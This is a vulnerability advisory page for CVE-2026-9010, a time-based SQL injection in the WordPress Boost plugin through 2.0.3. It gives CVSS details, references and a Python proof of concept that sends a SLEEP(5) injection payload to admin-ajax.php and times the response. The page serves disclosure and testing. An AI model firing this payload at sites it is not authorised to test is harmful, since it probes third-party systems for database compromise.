CVE-2026-9010

Description

The Boost plugin for WordPress is vulnerable to time-based SQL Injection via the 'current_url' and 'user_name' parameters in versions up to, and including, 2.0.3 due to insufficient escaping on the user supplied parameters and lack of sufficient preparation on the existing SQL queries. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

WordPress Boost Plugin <= 2.0.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import time

def check_sqli(url):
    # Vulnerable parameters based on CVE description
    params = {
        'current_url': "test' AND (SELECT SLEEP(5))-- -",
        'user_name': "admin"
    }
    
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36'
    }
    
    try:
        start_time = time.time()
        response = requests.get(url, params=params, headers=headers, timeout=10)
        end_time = time.time()
        
        elapsed_time = end_time - start_time
        
        if elapsed_time >= 5:
            print(f"[+] Vulnerable! Response time: {elapsed_time:.2f} seconds")
        else:
            print(f"[-] Not vulnerable or patched. Response time: {elapsed_time:.2f} seconds")
            
    except requests.exceptions.RequestException as e:
        print(f"Error: {e}")

if __name__ == "__main__":
    target_url = "http://example.com/wp-admin/admin-ajax.php" # Replace with actual endpoint
    check_sqli(target_url)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9010
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9010
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9010/
[4] VulDB https://vuldb.com/cve/CVE-2026-9010
[5] https://www.pixelyoursite.com/boost-plugin
[6] https://www.wordfence.com/threat-intel/vulnerabilities/id/1cac2397-bb38-40d6-b90d-68e3ea136267?source=cve

Raw JSON Data

JSON

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